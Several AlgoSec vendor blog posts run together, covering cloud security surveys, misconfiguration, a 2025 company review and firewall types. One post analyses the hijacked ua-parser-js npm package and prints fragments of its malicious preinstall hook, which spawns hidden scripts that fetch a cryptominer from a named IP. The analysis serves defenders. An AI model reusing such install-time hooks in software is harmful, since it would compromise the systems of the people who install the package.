The past few years have witnessed a rapid surge in the use of SaaS applications across various industries. But with this growth comes a... Hybrid Cloud Security Management Cloud security study reveals: over 50% of system failures are caused by human error and mismanagement Malynnda Littky-Porath 2 min read Malynnda Littky-Porath Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 6/20/23 Published The past few years have witnessed a rapid surge in the use of SaaS applications across various industries. But with this growth comes a significant challenge: managing security and assessing risk in application connectivity. In this blog, I’ll explore the fascinating insights from a recent study conducted by the Cloud Security Alliance (CSA). The study delves into the complexities of managing security and assessing the risk of application connectivity in the rapidly growing world of SaaS applications and cloud environments. With responses from 1,551 IT and security professionals from organizations of all sizes and from all corners of the globe, this study provides valuable insights into the challenges of application security in cloud environments and how to best manage them. Insight # 1 – Human error is the leading cause of application outages With more than half of these outages linked to manual processes and the increasing complexity of the systems themselves, businesses are losing productivity, revenue, and even reputation due to downtime. In many cases, the root cause of these outages is traced back to configuration errors, software bugs, or human mistakes during deployments or maintenance activities. To combat these issues, investment in automation and machine learning technologies can mitigate the risk of human error and ensure the reliability and stability of their applications. Insight # 2 – 75% of organizations experienced application outages lasting an hour or more. The financial impact of outages has been significant, with an estimated cost of $300,000 or more per instance. These costs include lost productivity, revenue, and potential customer churn. While human error is the major contributor to downtime, outages are often caused by a combination of additional factors, including hardware or software failure and cyber-attacks. Comprehensive disaster recovery plans, backup systems, and application performance monitoring tools are necessary to minimize outages and ensure business continuity. Insight # 3 – A lack of visibility and compliance are the primary constraints to rolling out new applications . Visibility is essential to understanding how applications are used, where they are deployed, and how they integrate with other systems. Compliance gaps, on the other hand, can pose significant risks, resulting in issues such as data breaches, regulatory fines, or reputational damage. To ensure successful application rollout, organizations must have a clear view of their application environment and ensure compliance with relevant standards and regulations. Insight # 4 – The shift to the DevOps methodology has led to a shift-left movement where security is integrated into the application development process . Traditionally, application security teams have been responsible for securing applications in the public cloud. However, DevOps teams are becoming more involved in the security of applications in the public cloud. DevOps teams are now responsible for ensuring that applications are designed with security in mind, and they work with the application security teams to ensure that the necessary controls are in place. Involving the DevOps teams in the security process can reduce the risk of security breaches and ensure that security is integrated throughout the application lifecycle. Insight # 5 – Organizations are targeting unauthorized access to applications in the public cloud . Organizations can protect their applications by implementing strong authentication mechanisms, access controls, and encryption to protect sensitive data. Using the principle of least privilege can limit application access to only authorized personnel. cloud infrastructure is secure and that vulnerabilities are regularly identified and addressed. Organizations must review their security requirements, monitor the application environment, and regularly update their security controls to protect their data and applications in the public cloud. Insight # 6 – A rapidly evolving technology landscape has created skills gaps and staffing issues Specialized skills are not always readily available within organizations, which can result in a shortage of qualified personnel. This can overburden teams, resulting in burnout and increased staff turnover. Staffing shortages can also lead to knowledge silos, where critical skills and knowledge are concentrated in a few key individuals, leaving the rest of the team vulnerable to knowledge gaps. Organizations must invest in training and development programs to ensure that their teams have the skills and knowledge necessary to succeed in their roles. Successful cloud migrations require a comprehensive knowledge of cloud security controls and how they interconnect and collaborate with on-premise security systems. To make this happen, organizations need complete visibility across both cloud and on-premise environments, and must automate the network security management processes. To sum up, the rapidly evolving threat environment demands new ways to enhance security. Proactive risk detection, powerful automation capabilities, and enhanced visibility in the cloud and outside of it are just a few ways to strengthen your security posture. AlgoSec can do all that, and more, to help you stay ahead of emerging threats and protect your critical assets.. Even better, our solution is ideal for organizations that may lack in-house expertise and resources, complementing the existing security measures and helping to keep you one step ahead of attackers. Don’t miss out on the full insights and recommendations from the study. Click here to access the complete findings. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Oren Amiram, Director of Product at AlgoSec, explains why misconfigurations continue to plague public cloud network services and how... Firewall Change Management Why misconfigurations continue to plague public cloud network services and how to avoid them? Oren Amiram 2 min read Oren Amiram Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 3/18/24 Published Oren Amiram, Director of Product at AlgoSec, explains why misconfigurations continue to plague public cloud network services and how organizations can address these shortfalls with AlgoSec Cloud. Cloud security as a strategy is constantly evolving to meet the needs of organizations for scale, agility, and security. If your organization is weighing the merits of the use of public cloud versus private cloud, here are a few facts to keep in mind. Data shows that the public cloud is the preferred choice. Here’s what’s driving it. Public cloud security has become more ubiquitous thanks to IaaS platforms such as Amazon Web Services (AWS), Google Cloud Platform (GCP) and Microsoft Azure. According to Gartner, worldwide end-user spending on public cloud services is expected to grow by 20.4% in 2022 to a total of $494.7 billion, up from $410.9 billion in 2021 It is easy to see why public clouds are so appealing. Unlike private clouds, public cloud platform solutions allow organizations to provide business applications fast and reduce the costs associated with purchasing, managing, and maintaining on-premise hardware and application infrastructure. Furthermore, public clouds enable businesses to set up the required infrastructure much faster than on-premise and provide unmatched scalability, as well as extra security capabilities. Public cloud benefits are abundantly clear, but there’s more to this than meets the eye. As robust as a public cloud platform, there are also challenges that organizations need to overcome. According to a recent global survey on public cloud security risks, just under a third of organizations (31%) were not confident or only slightly confident about their ability to protect sensitive data in a cloud environment and another 44 percent reported they were only moderately confident. Another survey focused on top threats to cloud computing showed that misconfiguration of the cloud platform was one of the top three concerns among respondents. This challenge is even more amplified as evidenced in a separate survey, with nearly 76% of respondents stating their organization uses two or more different public cloud providers. The findings suggest that security teams often have to manage multiple native security and management consoles to enforce security and compliance across different environments. How profound is the impact of misconfigurations on your network? All it takes is a single hole It is no surprise that enterprise IT teams find it difficult to keep their applications secure. Migration of applications to public cloud platforms involves many potential pitfalls. Misconfiguration errors can occur at many different points on the network as part of the migration process, especially when moving from traditional firewalls to cloud security controls. Ongoing management of applications and workflows within the public cloud presents a unique challenge. Many organizations have multiple teams using different methods to manage the applications and the security controls that should protect them, such as Ansible, Chef and Terraform, in addition to manual changes. Even if you are using a single public cloud platform, you still need to manage multiple security controls protecting a multitude of applications. Organizations may have hundreds of separate public cloud accounts, each with multiple VPCs, spread across different regions. These VPCs are protected by multi-layered security controls, from Cloud Infrastructure, such as security groups and network ACLs, cloud-native advanced network firewalls, to Security Products offered by ISVs, such as NG Firewalls. It is easy to see why misconfiguration occurs if IT teams attempt to take on this complex, tedious and labor-intensive process themselves. A single mistake can cause outages, compliance violations and create holes in your security perimeter. Digital Shadows detected over 2.3 billion files that had been Misconfigured storage services have exposed more than 30 billion records and contributed to more than 200 breaches over the past two years. It is safe to assume that as organizations seek to optimize their public cloud deployment, cloud breaches will increase in velocity and scale. According to a recent Accurics report, misconfigured cloud storage services were commonplace in 93% of hundreds of public cloud deployments analyzed. Avoiding misconfiguration risks is easier said than done, but there’s a solution Given that organizations are so concerned about misconfiguration risks, what steps can they take to avoid making them? There are two basic principles that should be followed: Ensuring that only authorized, qualified personnel can make network or security control changes Following a clearly defined change process, with mandatory review and approval for each stage. It’s also important to keep in mind that errors are still likely to occur even while you’re still carrying out your processes manually. Luckily, there is an easy solution – hybrid network-aware automation. This solution enables you to employ network change automation, eliminates guesswork and error-prone manual input, while also simplifying large-scale, complex application migration projects and security change management. Is there a much more holistic solution? Yes, meet AlgoSec AlgoSec’s cloud offering seamlessly integrates with all leading brands of cloud security controls, firewalls (including NGFWs deployed in the cloud), routers, and load balancers, to deliver unified security policy management. With the AlgoSec Security Management Solution, users benefit from holistic management and automation spanning on-premise, SDN and public cloud. AlgoSec cloud offering, including CloudFlow, allows organizations to seamlessly manage security control layers across the hybrid network in three key areas: Visibility across your hybrid network With our cloud offering, you can obtain a full network map of your entire hybrid network security estate, as well as identify risks and correlate them to the assets they impact. You can also achieve instant visibility of cloud assets and security controls, pinpointing and troubleshooting application and network connectivity issues resulting from security policies. Change management Organizations can leverage a uniformed network model and change-management framework that covers the hybrid and multi-cloud environment, with an automated policy push for “zero-touch” automation. You can securely migrate workloads from on-prem to the public cloud and discover the power of CloudFlow’s central policy management, allowing you to orchestrate multiple similar security controls in a single policy. Cloud-centric risk analysis and remediation You can proactively detect misconfigurations to protect cloud assets, including cloud instances, databases and serverless functions. Also, you can easily identify risky security policy rules, the assets they expose and whether they are in use. You can also remediate risk, including cleaning up bloated and risky policies and enjoy audit-ready compliance reporting, including vast support for diverse regulations. Find out more about AlgoSec cloud offering or start your journey through AlgoSec’s hybrid cloud hub . Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware. The NPM package ua-parser-js is used in apps and websites to discover the type of device or browser a person is using from User-Agent data. The author of the package, Faisal Salman – a software developer from Indonesia, has commented about the incident: Hi all, very sorry about this. I noticed something unusual when my email was suddenly flooded by spams from hundreds of... Cloud Security Hijacked NPM Account Leads to Critical Supply Chain Compromise Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/24/21 Published As earlier reported by US-CERT, three versions of a popular NPM package named ua-parser-js were found to contain malware. The NPM package ua-parser-js is used in apps and websites to discover the type of device or browser a person is using from User-Agent data. The author of the package, Faisal Salman – a software developer from Indonesia, has commented about the incident: Hi all, very sorry about this. I noticed something unusual when my email was suddenly flooded by spams from hundreds of websites (maybe so I don’t realize something was up, luckily the effect is quite the contrary). I believe someone was hijacking my npm account and published some compromised packages (0.7.29, 0.8.0, 1.0.0) which will probably install malware as can be seen from the diff here: https://app.renovatebot.com/package-diff?name=ua-parser-js&from=0.7.28&to=1.0.0 I have sent a message to NPM support since I can’t seem to unpublish the compromised versions (maybe due to npm policy https://docs.npmjs.com/policies/unpublish ) so I can only deprecate them with a warning message. There are more than 2.5 million other repositories that depend on ua-parser-js . Google search “file:ua-parser-js.js” reveals nearly 2 million websites, which indicates the package is popular. As seen in the source code diff , the newly added file package/preinstall.js will check the OS platform. If it’s Windows, the script will spawn a newly added preinstall.bat script. If the OS is Linux, the script will call terminalLinux() function, as seen in the source below: var opsys = process.platform; if ( opsys == "darwin" ) { opsys = "MacOS" ; } else if ( opsys == "win32" || opsys == "win64" ) { opsys = "Windows" ; const { spawn } = require ( 'child_process' ) ; const bat = spawn ( 'cmd.exe' , [ '/c' , 'preinstall.bat' ]) ; } else if ( opsys == "linux" ) { opsys = "Linux" ; terminalLinux () ; } The terminalLinux() function will run the newly added preinstall.sh script. function terminalLinux(){ exec( "/bin/bash preinstall.sh" , (error, stdout, stderr) => { ... }); } The malicious preinstall.sh script first queries an XML file that will report the current user’s geo-location by visiting this URL . For example, for a user located in Australia, the returned content will be: [IP_ADDRESS] AU Australia ... Next, the script searches for the presence of the following country codes in the returned XML file: RU UA BY KZ That is, the script identifies if the affected user is located in Russia, Ukraine, Belarus, or Kazakhstan. Suppose the user is NOT located in any of these countries. In that case, the script will then fetch and execute malicious ELF binary jsextension from a server with IP address 159.148.186.228, located in Latvia. jsextension binary is an XMRig cryptominer with reasonably good coverage by other AV products. Conclusion The compromised ua-parser-js is a showcase of a typical supply chain attack. Last year, our research team found and reported a malicious package flatmap-stream in 1,482 Docker container images hosted in Docker Hub with a combined download count of 95M. The most significant contributor was the trojanized official container image of Eclipse. What’s fascinating in this case, however, is the effectiveness of the malicious code proliferation. It only takes one software developer to ignore a simple trick that reliably prevents these things from happening. The name of this trick is two-factor authentication (2FA). About the Country Codes Some people wonder why cybercriminals from Russia often avoid attacking victims outside of their country or other Russian-speaking countries. Some go as far as suggesting it’s for their own legal protection. The reality is way simpler, of course: “Не гадь там, где живешь” “Не сри там, где ешь” “Не плюй в колодец, пригодится воды напиться” Polite translation of all these sayings is: “One should not cause trouble in a place, group, or situation where one regularly finds oneself.” Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

A quarter-by-quarter review of AlgoSec’s 2025 covering key product launches like Horizon, our latest research on zero trust and convergence, customer milestones, and the industry recognition that defined our year. AlgoSec Reviews 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? Adel Osta Dadan 2 min read Adel Osta Dadan Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/18/25 Published As we close out 2025, I find myself reflecting on what has been an extraordinary journey for AlgoSec. This year was marked by breakthrough innovations, significant industry recognition, and an unwavering commitment to our vision of secure application connectivity. From launching game-changing solutions to earning accolades on the global stage, 2025 challenged us to push boundaries – and we rose to the occasion with confidence and purpose. Every challenge met, every milestone achieved, has reinforced our resolve to lead in network security policy management across hybrid cloud environments. The story of AlgoSec in 2025 is one of innovation validated by the industry and, most importantly, by the trust of our customers. In this featured year-end review, I’ll walk through AlgoSec’s 2025 journey quarter by quarter. It’s a personal narrative from my vantage point as someone fortunate enough to help shape our story. The tone is proud and forward-looking because the accomplishments of this year have set the stage for an even more ambitious 2026. So let’s dive in, quarter by quarter, into how 2025 unfolded for AlgoSec – a year of solidifying leadership, fostering innovation, and securing connectivity for enterprises worldwide. Q1 – Launching a new horizon in hybrid cloud security The first quarter of 2025 was all about bold beginnings. We started the year by challenging the status quo in hybrid network security and laying the groundwork for everything to follow. Launch of the AlgoSec Horizon platform: In February, we unveiled AlgoSec Horizon , our most advanced application-centric security management platform for converging cloud and on-premise environments. This wasn’t just a product launch – it was a statement of direction. AlgoSec Horizon is the industry’s first platform to unify security policy automation across hybrid networks, giving teams a single pane of glass for both cloud and data center connectivity. By applying AI-driven visibility and risk mitigation, Horizon allows security teams to consistently manage application connectivity and policies across any environment. “Today’s networks are 100x more complex... requiring organizations to unify security operations, automate policies and enhance visibility across infrastructures,” as our VP of Product Eran Shiff noted at launch. With Horizon, our customers gained full visibility into their hybrid-cloud network and the power to remediate risks without slowing down the business. We even showcased Horizon live at Cisco Live 2025 in Amsterdam, letting attendees see firsthand how it simplifies hybrid cloud security. This Q1 milestone set the tone for the year – proving that we don’t just adapt to industry shifts, we lead them. Continuing analyst recognition and thought leadership: Building on momentum from the previous year, we carried forward strong validation from industry analysts. AlgoSec entered 2025 still highlighted as a Market Outperformer in GigaOm’s recent Radar Report for Cloud Network Security. In that report, analyst Andrew Green praised our core strength: “AlgoSec automates application connectivity and security policy across the hybrid network estate including public cloud, private cloud, containers, and on-premises networks.” Such independent insight validated our unique, application-centric approach. Internally, these early recognitions energized our teams. We doubled down on R&D and prepared to share our expertise more broadly – including wrapping up work on our annual research report. Q1’s focus on innovation and expert validation paved the way for the accomplishments that followed in subsequent quarters. Q2 – Thought leadership and industry accolades on the global stage If Q1 was about innovation, Q2 was about validation. In the second quarter, AlgoSec stepped onto the global stage at RSAC 2025 and emerged with both influential research and prestigious awards. It was a period where our thought leadership in secure connectivity met with resounding industry recognition. State of network security report 2025: In April, we released our annual State of Network Security Report , a comprehensive vendor-agnostic study of emerging trends and challenges in network security. This report quickly became a cornerstone of our thought leadership. It revealed how businesses are prioritizing multi-cloud strategies and zero-trust architecture in unprecedented ways. For instance, zero-trust adoption reached an all-time high – 56% of organizations reported they had fully or partially implemented zero-trust by 2025. We also highlighted that multi-cloud environments are now the norm, with Azure rising to become the most widely used cloud platform among respondents. Perhaps most telling was the finding that automating application connectivity ranked as the top priority for minimizing risk and downtime [9] . These insights underscored a message we’ve championed for years – that security can and should be an enabler of business agility. By shining a light on gaps in visibility and the need for policy automation, our Q2 research reinforced AlgoSec’s role as a thought leader in secure application connectivity. The report’s influence was evident in conversations at industry events and in how customers approached their network security strategy. Awards at RSAC 2025 – best security company and more: The highlight of Q2 came during the RSA Conference in late April, when AlgoSec earned two major industry accolades in one week. SC Media honored AlgoSec with the 2025 SC Award for Best Security Company, a recognition of our impact and innovation in cybersecurity. At the same time, Cyber Defense Magazine announced us as a winner of a 2025 Global InfoSec Award for Best Service – Cybersecurity Company [11] . Securing these prestigious awards simultaneously was a proud and humbling moment. It marked a significant milestone for our team as we continue to gain momentum across the global enterprise market. These accomplishments also validated our mission to deliver secure, seamless application connectivity across hybrid environments. “We’re honored to be recognized for empowering our customers to move faster and stay secure,” an AlgoSec spokesperson said, when discussing what the SC Award means to us. Indeed, being named Best Security Company came on the heels of some impressive company growth metrics – over 2,200 organizations now trust AlgoSec for their security policy management needs, and we saw 14% customer growth over the past year. The SC Award judges also noted that we command roughly 32% of the security policy management market share , highlighting AlgoSec’s leadership in this space. For me personally, seeing our work celebrated at RSAC 2025 was exhilarating. It wasn’t just about trophies; it was about validation from the community that the path we chose – focusing on application-centric, hybrid-cloud security – is the right one. Q2 ended with our trophy cabinet a bit fuller and our resolve stronger than ever to keep raising the bar. Q3 – Accelerating growth and fostering community The third quarter saw our innovations bear fruit in the market and our community initiatives take center stage. Coming out of the big wins of Q2, we maintained that momentum through the summer by executing on our strategies and engaging deeply with customers and partners. Q3 was about scaling up – both in terms of business impact and thought leadership outreach. Surging adoption and business growth: By mid-year, the impact of our new platform and solutions was clear in the numbers . In fact, we recorded a 36% year-over-year increase in new annual recurring revenue (ARR) in the first half of 2025 , driven largely by strong adoption of the AlgoSec Horizon platform. Our existing customers stayed with us as well – we maintained a gross dollar retention rate above 90%, a metric that speaks to the tangible value organizations are getting from our products. One anecdote that sticks with me is a story from a major U.S. financial institution: after deploying Horizon, they discovered 1,800 previously unknown applications and their connectivity requirements within the first two weeks . That kind of visibility – uncovering what was once shadow IT – is a game-changer for risk reduction. It proved that our focus on hybrid cloud security and intelligent automation is solving real problems. Equally rewarding was the feedback from customers. By Q3, AlgoSec was sustaining an average rating of 4.5 stars on Gartner Peer Insights , with users praising our platform’s depth and ease of use. We’ve also consistently ranked at the top of our category on peer review sites like G2 and PeerSpot, reflecting the positive outcomes our users are achieving . This convergence of market growth and customer satisfaction in Q3 affirmed that our application-centric approach is resonating strongly. Extending thought leadership through strategic research: Our growth in Q3 wasn’t just reflected in numbers—it also showed in how we’re shaping the security conversation. One standout was the publication of the Security Convergence eBook , developed in partnership with ESG. This research-backed guide addressed the operational and strategic challenges of aligning application, network, and cloud security. It offered actionable insights for enterprises navigating the intersection of security domains, a challenge we consistently hear about from our customers. The eBook resonated with CISOs and security leaders tasked with unifying fragmented processes under growing compliance and performance pressures. It reaffirmed AlgoSec’s unique position—not just as a solution provider, but as a partner helping drive clarity and convergence in the face of growing complexity. Community engagement and knowledge sharing : Even as we grew, we never lost sight of the importance of community and education. In September, we launched the AlgoSec Horizon Tour , a roadshow of interactive sessions across EMEA and the U.S. aimed at sharing best practices in secure application connectivity. These workshops gave enterprise security teams a hands-on look at Horizon’s capabilities and provided a forum for us to hear feedback directly from users. The tour culminated in our annual AlgoSummit 2025 – a virtual conference we hosted on September 30th that brought together customers, partners, and industry experts. If I had to choose a proud moment from Q3, AlgoSummit 2025 would be high on the list. We facilitated deep-dive discussions on zero trust architecture , cloud security, and the future of network policy automation. It was inspiring to see our community openly exchange ideas and solutions. This summit wasn’t just a company event; it felt like an industry think-tank. It reinforced AlgoSec’s role as a trusted advisor in the field of network security, not just a product vendor. By the end of Q3, we had strengthened the bonds with our user community and showcased that as networks evolve, we’re evolving right alongside our customers – providing guidance, platform innovations, and an open ear to their needs. Recognition of customer success: On a more personal note, Q3 also brought moments that reminded us why we do what we do. I recall one customer review that particularly struck me, where a network security manager described how AlgoSec became indispensable as their organization embraced zero trust. “As we aspire to achieve zero-trust… we need tools like AlgoSec to assist us in the journey because most application owners do not know what access is needed. This tool helps them learn what needs to be implemented to reduce the attack surface,” he noted. Hearing directly from customers about how we’re helping them reduce risk and implement zero trust principles is incredibly motivating. It underscores that behind the growth statistics are real organizations becoming safer and more agile, powered by our solutions. This customer-centric ethos carried us through Q3 and into the final stretch of the year. Q4 – Culminating achievements and setting the stage for what’s next As the year drew to a close, AlgoSec showed no signs of slowing down. In fact, Q4 was about finishing strong and preparing for the future. We used the final quarter to expand our solution capabilities, help customers navigate new security paradigms, and celebrate the capstone of several achievements. It’s been a period of tying up 2025’s narrative threads and pointing our compass toward 2026. Expanding zero-trust and cloud security initiatives: In Q4, we doubled down on helping customers realize Zero Trust Architecture across their increasingly complex environments. Building on the micro-segmentation and application dependency mapping capabilities of our platform, we introduced new workflows to streamline zero-trust policy adoption. Our approach has been to make zero trust practical – ensuring that as enterprises segment their networks, they maintain clear visibility into application flows and can automate rule changes without fear of breaking things. We also expanded integrations with cloud platforms, recognizing that hybrid cloud deployments require consistent enforcement of zero-trust principles. The goal is simple: only allow what’s necessary. As one of our customers at NCR put it, “we need tools like AlgoSec… because most application owners do not know what access is needed. This tool helps them learn what needs to be implemented to reduce the attack surface.” That insight from the field echoes in our Q4 product enhancements – we focused on features that help identify and tighten overly permissive access, be it on-prem or in the cloud. Additionally, we kept an eye on emerging regulations and frameworks. With new security compliance requirements on the horizon, we ensured our solutions can automate audits and segmentation policies to keep our customers one step ahead. In short, Q4 was about reinforcing our commitment to hybrid cloud security and zero trust, so that our users can enter 2026 with confidence in their security posture. Even as 2025 ends, the wave of recognition we’ve ridden continues into Q4. I’m thrilled to share that in November, AlgoSec was named a “Trailblazing” company in Network Security and Management as part of the 2025 Top InfoSec Innovator Awards . This honor, bestowed by Cyber Defense Magazine’s panel of judges, places us among a select group of cybersecurity companies driving innovation and shaping the future of the industry. It’s a testament to our team’s hard work and our forward-thinking roadmap. Looking ahead to 2026 Reflecting on 2025, it’s clear that this year has been t ransformationa l for AlgoSec. We innovated boldly, earned trust widely, and solidified our position as the go-to partner for enterprises seeking secure, agile connectivity. The awards and recognitions were wonderful highlights – they energize us – but what truly drives our pride is knowing we helped organizations around the world accelerate their business securely . The foundations we laid this year in areas like zero trust architecture, hybrid cloud security, and intelligent policy automation have set us up for an even more impactful 2026. As we turn toward 2026, our vision is sharper than ever. We will continue to advance our platform – expect even more AI-driven insights, broader cloud integrations, and features that make managing network security policies in complex environments simpler than ever. We’ll also keep championing thought leadership through research and community engagement, because educating the market is part of our DNA. The threat landscape will undoubtedly evolve in 2026, but we plan to stay ahead of the curve , helping our customers navigate whatever comes next with confidence and clarity. On a personal note, I am incredibly grateful for the dedication of our team and the unwavering support of our AlgoSec community. It’s your feedback and your challenges that inspire our innovations. This year we’ve seen what we can achieve together – from launching Horizon to embracing zero trust, from winning awards to solving tough problems on the ground. 2025 has been a chapter of leadership and growth in AlgoSec’s story. Now we set our sights on writing the next chapter. With the momentum at our backs and our mission guiding us, we step into 2026 ready to continue redefining what’s possible in secure application connectivity. Here’s to another year of innovation, collaboration, and success on the horizon! Thank you for being part of our 2025 journey. We’re excited for what’s to come – and we’ll be sure to keep you posted every step of the way. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Case Study Logisticas Horizon Platform released in July 2026. This paper refers to previous product offerings. Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Firewalls form the first line of defense against intrusive hackers trying to infiltrate internal networks and steal sensitive data. They... Firewall Change Management 5 Types of Firewalls for Enhanced Network Security Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/25/23 Published Firewalls form the first line of defense against intrusive hackers trying to infiltrate internal networks and steal sensitive data. They act as a barrier between networks, clearly defining the perimeters of each. The earliest generation of packet-filter firewalls were rudimentary compared to today’s next-generation firewalls, but cybercrime threats were also less sophisticated. Since then, cybersecurity vendors have added new security features to firewalls in response to emerging cyber threats. Today, organizations can choose between many different types of firewalls designed for a wide variety of purposes. Optimizing your organization’s firewall implementation requires understanding the differences between firewalls and the network layers they protect. How Do Firewalls Work? Firewalls protect networks by inspecting data packets as they travel from one place to another. These packets are organized according to the transmission control protocol/internet protocol (TCP/IP), which provides a standard way to organize data in transit. This protocol is a concise version of the more general OSI model commonly used to describe computer networks. These frameworks allow firewalls to interpret incoming traffic according to strictly defined standards. Security experts use these standards to create rules that tell firewalls what to do when they detect unusual traffic. The OSI model has seven layers: Application Presentation Session Transport Network Data link Physical Most of the traffic that reaches your firewall will use one of the three major Transport layer protocols in this model, TCP, UDP, or ICMP. Many security experts focus on TCP rules because this protocol uses a three-step TCP handshake to provide a reliable two-way connection. The earliest firewalls only operated on the Network Layer, which provides information about source and destination IP addresses, protocols, and port numbers. Later firewalls added Transport Layer and Application Layer functionality. The latest next-generation firewalls go even further, allowing organizations to enforce identity-based policies directly from the firewall. Related Read : Host-Based vs. Network-Based Firewalls 1. Traditional Firewalls Packet Filtering Firewalls Packet-filtering firewalls only examine Network Layer data, filtering out traffic according to the network address, the protocol used, or source and destination port data. Because they do not inspect the connection state of individual data packets, they are also called stateless firewalls. These firewalls are simple and they don’t support advanced inspection features. However, they offer low latency and high throughput, making them ideal for certain low-cost inline security applications. Stateful Inspection Firewalls When stateful firewalls inspect data packets, they capture details about active sessions and connection states. Recording this data provides visibility into the Transport layer and allows the firewall to make more complex decisions. For example, a stateful firewall can mitigate a denial-of-service attack by comparing a spike in incoming traffic against rules for making new connections – stateless firewalls don’t have a historical record of connections to look up. These firewalls are also called dynamic packet-filtering firewalls. They are generally more secure than stateless firewalls but may introduce latency because it takes time to inspect every data packet traveling through the network. Circuit-Level Gateways Circuit-level gateways act as a proxy between two devices attempting to connect with one another. These firewalls work on the Session layer of the OSI model, performing the TCP handshake on behalf of a protected internal server. This effectively hides valuable information about the internal host, preventing attackers from conducting reconnaissance into potential targets. Instead of inspecting individual data packets, these firewalls translate internal IP addresses to registered Network Address Translation (NAT) addresses. NAT rules allow organizations to protect servers and endpoints by preventing their internal IP address from being public knowledge. 2. Next-Generation Firewalls (NGFWs) Traditional firewalls only address threats from a few layers in the OSI model. Advanced threats can bypass these Network and Transport Layer protections to attack web applications directly. To address these threats, firewalls must be able to analyze individual users, devices, and data assets as they travel through complex enterprise networks. Next-generation firewalls achieve this by looking beyond the port and protocol data of individual packets and sessions. This grants visibility into sophisticated threats that simpler firewalls would overlook. For example, a traditional firewall may block traffic from an IP address known for conducting denial-of-service attacks. Hackers can bypass this by continuously changing IP addresses to confuse and overload the firewall, which may allow routing malicious traffic to vulnerable assets. A next-generation firewall may notice that all this incoming traffic carries the same malicious content. It may act as a TCP proxy and limit the number of new connections made per second. When illegitimate connections fail the TCP handshake, it can simply drop them without causing the organization’s internal systems to overload. This is just one example of what next-gen firewalls are capable of. Most modern firewall products combine a wide variety of technologies to provide comprehensive perimeter security against comprehensive cyber attacks. How do NGFWs Enhance Network Security? Deep Packet Inspection (DPI) : NGFWs go beyond basic packet filtering by inspecting the content of data packets. They analyze the actual data payload and not just header information. This allows them to identify and block threats within the packet content, such as malware, viruses, and suspicious patterns. Application-Level Control : NGFWs can identify and control applications and services running on the network. This enables administrators to define and enforce policies based on specific applications, rather than just port numbers. For example, you can allow or deny access to social media sites or file-sharing applications. Intrusion Prevention Systems (IPS) : NGFWs often incorporate intrusion prevention capabilities. They can detect and prevent known and emerging cyber threats by comparing network traffic patterns against a database of known attack signatures. This proactive approach helps protect against various cyberattacks. Advanced Threat Detection: NGFWs use behavioral analysis and heuristics to detect and block unknown or zero-day threats. By monitoring network traffic for anomalies, they can identify suspicious behavior and take action to mitigate potential threats. U ser and Device Identification : NGFWs can associate network traffic with specific users or devices, even in complex network environments. This user/device awareness allows for more granular security policies and helps in tracking and responding to security incidents effectively. Integration with Security Ecosystem : NGFWs often integrate with other security solutions, such as antivirus software, intrusion detection systems (IDS), and security information and event management (SIEM) systems. This collaborative approach provides a multi-layered defense strategy . Security Automation : NGFWs can automate threat response and mitigation. For example, they can isolate compromised devices from the network or initiate other predefined actions to contain threats swiftly. In a multi-layered security environment, these firewalls often enforce the policies established by security orchestration, automation, and response (SOAR) platforms. Content Filtering : NGFWs can filter web content, providing URL filtering and content categorization. This helps organizations enforce internet usage policies and block access to potentially harmful or inappropriate websites. Some NGFWs can even detect outgoing user credentials (like an employee’s Microsoft account password) and prevent that content from leaving the network. VPN and Secure Remote Access : NGFWs often include VPN capabilities to secure remote connections. This is crucial for ensuring the security of remote workers and branch offices. Advanced firewalls may also be able to identify malicious patterns in external VPN traffic, protecting organizations from threat actors hiding behind encrypted VPN providers. Cloud-Based Threat Intelligence : Many NGFWs 